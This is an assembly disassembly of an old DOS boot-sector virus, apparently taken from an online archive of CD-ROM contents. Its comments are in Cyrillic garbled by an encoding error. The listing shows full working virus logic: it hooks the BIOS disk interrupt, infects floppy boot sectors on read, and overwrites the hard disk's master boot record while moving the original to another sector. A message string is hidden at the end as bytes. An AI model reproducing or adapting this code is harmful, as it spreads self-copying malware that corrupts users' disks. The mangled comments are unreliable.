home *** CD-ROM | disk | FTP | other *** search
- jmp far ptr loc_2 ;*(07C0:0005)
- jmp loc_8 ; (00A1)
- data_27 db 0
- data_28 dd 0F000EC59h
- data_29 dd 9F8000E4h
- data_30 dd 07C00h
-
- ;-----------------------------------------------------------------------------
- ; é╡«ñ¡á ▓«╖¬á ¡á INT 13h
- ;-----------------------------------------------------------------------------
-
- push ds
- push ax
- cmp ah,2 ; Ǭ« ┤│¡¬╢¿┐▓á Ñ »«-¼á½¬á «▓
- jb loc_3 ; 2 ¿½¿ »«-ú«½┐¼á ¿½¿ ░áó¡á
- cmp ah,4 ; ¡á 4 ¿º»║½¡┐óá ¡á»░░áó« INT 13h
- jae loc_3
- or dl,dl ; ô▒▓░«¿▒▓ó«▓« Ñ A ?
- jnz loc_3
- xor ax,ax ; Zero register
- mov ds,ax
- mov al,byte ptr ds:[43Fh] ; Å░«óÑ░┐óá ñ὿ ¼«▓«░á ¡á
- test al,1 ; A Ñ ó¬½╛╖Ñ¡
- jnz loc_3 ; Jump if not zero
- call sub_1 ; Ä»¿▓ ñá ºá░áº┐óá
- loc_3:
- pop ax
- pop ds
- jmp cs:data_28 ; (6B8E:0009=0EC59h)
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_1 proc near
- push bx
- push cx
- push dx ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
- push es
- push si
- push di
- mov si,4
- loc_4:
- mov ax,201h
- push cs
- pop es
- mov bx,200h
- xor cx,cx ; Zero register
- mov dx,cx
- inc cx
- pushf
- call cs:data_28 ; ùÑ▓Ñ BOOT ▒Ѭ▓«░á
- jnc loc_5 ; Jump if carry=0
- xor ax,ax ; Å░¿ ú░Ñ╕¬á ░Ѭ὿í░¿░á
- pushf ; │▒▓░«¿▒▓ó«▓«
- call cs:data_28 ; (6B8E:0009=0EC59h)
- dec si
- jnz loc_4 ; Å░áó¿ 4 «»¿▓á
- jmp short loc_7 ; êº╡«ñ
- nop
- loc_5:
- xor si,si ; Zero register
- mov di,200h
- cld ; Clear direction
- push cs
- pop ds
- lodsw ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
- cmp ax,[di] ; »░«╖Ñ▓Ñ¡¿┐ ñ¿▒¬
- jne loc_6
- lodsw
- cmp ax,[di+2]
- je loc_7 ; Ǭ« Ñ ¿º½¿ºá
- loc_6:
- mov ax,301h
- mov bx,200h ; Å░ѼÑ▒▓óá BOOT
- mov cl,3
- mov dh,1
- pushf
- call cs:data_28
- jc loc_7 ; Jump if carry Set
- mov ax,301h
- xor bx,bx ; çỿ▒óá ó¿░│▒á
- mov cl,1
- xor dx,dx
- pushf
- call cs:data_28
- loc_7:
- pop di
- pop si
- pop es ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
- pop dx
- pop cx
- pop bx
- retn
- sub_1 endp
-
- loc_8:
- xor ax,ax ; Zero register
- mov ds,ax
- cli ; Disable interrupts
- mov ss,ax
- mov sp,7C00h
- sti ;
- mov ax,word ptr ds:[4Ch] ; Å«▒▓áó┐ ó AX óѬ▓«░á ¡á INT 13H
- mov word ptr ds:[7C09h],ax ; çá»áºóá ú« ¡á «▓¼Ñ▒▓óá¡Ñ 9h
- mov ax,word ptr ds:[4Eh] ; éºÑ¼á ▒Ñú¼Ñ¡▓á ¡á INT 13H
- mov word ptr ds:[7C0Bh],ax ; çá»áºóá ú« ¡á «▓¼Ñ▒▓óá¡Ñ Bh
- mov ax,word ptr ds:[413h] ; ìá¼á½┐óá ¡á½¿╖¡á▓á »á¼Ñ▓ ▒ 1K
- dec ax
- dec ax
- mov word ptr ds:[413h],ax
- mov cl,6
- shl ax,cl
- mov es,ax ; çá░Ѫñá ó ES ¡á⌐-ó¿▒«¬¿┐ áñ░Ñ▒
- mov word ptr ds:[7C0Fh],ax ; ¡á ¬«⌐▓« ▒Ñ »░ѼÑ▒▓óá
- mov ax,15h
- mov word ptr ds:[4Ch],ax ; INT 13H æÄùê ÄÆîàæÆéÇìà 15H ÄÆ
- mov word ptr ds:[4Eh],es ; ìÄùÇïÄÆÄ îô
- mov cx,1B8h
- push cs ;CS = 7C0h = DS
- pop ds
- xor si,si
- mov di,si
- cld
- rep movsb ; Å░Ñ▒▓óá 1B8h íá⌐▓á
- jmp cs:data_29 ; Å░Ñ╡«ñ ¡á ▒½Ññóá╣á▓á ¿¡▒▓░│¬╢¿┐
- mov ax,0
- int 13h ; ÉѬ὿í░¿░á ñ¿▒¬á
-
- xor ax,ax ; Zero register
- mov es,ax ; ES = AX = 00h
- mov ax,201h ; ô▒▓á¡«ó┐óá »á░á¼Ñ▓░¿ ºá
- mov bx,7C00h ; ºá░Ѫñá¡Ñ ¡á BOOT
- cmp cs:data_27,0 ; Å░«óÑ░┐óá ┤½áú ºá │▒▓░«¿▒▓ó«
- je loc_9 ; Å░Ñ╡«ñ »░¿ Flopy disk
- mov cx,7
- mov dx,80h
- int 13h ; çá░Ѫñá BOOT
-
- jmp short loc_12 ; (014E)
- nop
- loc_9:
- mov cx,3
- mov dx,100h
- int 13h ; çá░Ѫñá BOOT
-
- jc loc_12 ; Jump if carry Set
- test byte ptr es:[46Ch],7 ; Å░«óÑ░┐óá ñ὿ ñá ñáñÑ
- jnz loc_11 ; ▒║«í╣Ñ¡¿Ñ
- mov si,189h ;
- push cs
- pop ds
- loc_10:
- lodsb ; Æ║░▒¿ ¬░á┐▓ ¡á ▒▓░¿¡úá
- or al,al
- jz loc_11 ; Ǭ« ¡Ñ Ñ ¬░á┐ ¿ºóѪñá ▒¿¼ó«½
- mov ah,0Eh
- mov bh,0
- int 10h ; Video display ah=functn 0Eh
- ; write char al, teletype mode
- jmp short loc_10 ; (011D)
- loc_11:
- push cs
- pop es
- mov ax,201h ; Ä»¿▓óá ▒Ñ ñá ╖Ñ▓Ñ «▓ ▓ó║░ñ ñ¿▒¬
- mov bx,200h ; ¬á▓« »«¼Ñ▒▓óá »░«╖Ñ▓Ñ¡«▓« «▓
- mov cl,1 ; «▓¼Ñ▒▓óá¡Ñ 200h
- mov dx,80h
- int 13h ; Disk dl=drive #: ah=func a2h
- ; read sectors to memory es:bx
- jc loc_12 ; Ǭ« ú░Ñ╕¬á ? -> êº╡«ñ
- push cs
- pop ds
- mov si,200h
- mov di,0
- lodsw ; Å░«óÑ░┐óá ñ὿ ▒║ó»áñá ▒ ¡á╖Ὣ▓«
- cmp ax,[di] ; ¡á ó¿░│▒á
- jne loc_13 ; Ǭ« ¡Ñ »░Ñ╡«ñ ºá ºá░áº┐óá¡Ñ
- lodsw
- cmp ax,[di+2]
- jne loc_13
- loc_12:
- mov cs:data_27,0 ; (6B8E:0008=0)
- jmp cs:data_30 ; 꺻║½¡┐óá BOOT
- loc_13:
- mov cs:data_27,2 ; Å«▒▓áó┐ │¬áºá▓ѽ ▓ó║░ñ ñ¿▒¬
- mov ax,301h
- mov bx,200h ; Å░ѼÑ▒▓óá BOOT ó ▒Ѭ▓«░ 7
- mov cx,7 ; ▒▓░á¡á 0
- mov dx,80h
- int 13h
-
- jc loc_12 ; Å░¿ ú░Ñ╕¬á ¿º»║½¡┐óá BOOT
- push cs
- pop ds
- push cs
- pop es
- mov si,3BEh ; îÑ▒▓¿ partition table
- mov di,1BEh
- mov cx,242h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- mov ax,301h
- xor bx,bx ; çỿ▒óá ▒Ἷ┐▓ ó¿░│▒
- inc cl
- int 13h ; Disk dl=drive #: ah=func a3h
- ; write sectors from mem es:bx
- jmp short loc_12 ; Ä▓¿óá ñá ¿º»¿½¡┐óá BOOT
-
- ;------------------------------------------------------------------------------------------
- ; Ä▓ ▓│¬ ¡á▓á▓¬ ▒á ▓Ѭ▒▓«óÑ
- ;------------------------------------------------------------------------------------------
-
- pop es
- pop cx
- db 6Fh
- jnz $+74h ; Jump if not zero
- and [bx+si+43h],dl
- and [bx+di+73h],ch
- and [bp+6Fh],ch
- ja $+22h ; Jump if above
- push bx
- jz $+71h ; Jump if zero
- db 6Eh
- db 65h
- db 64h
- and [bx],ax
- or ax,0A0Ah
- add [si+45h],cl
- inc di
- inc cx
- dec sp
- dec cx
- push bx
- inc bp
- xor al,[bx+di]
- add al,32h ; '2'
- add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0)
- add ax,132h
- db 72 dup (0)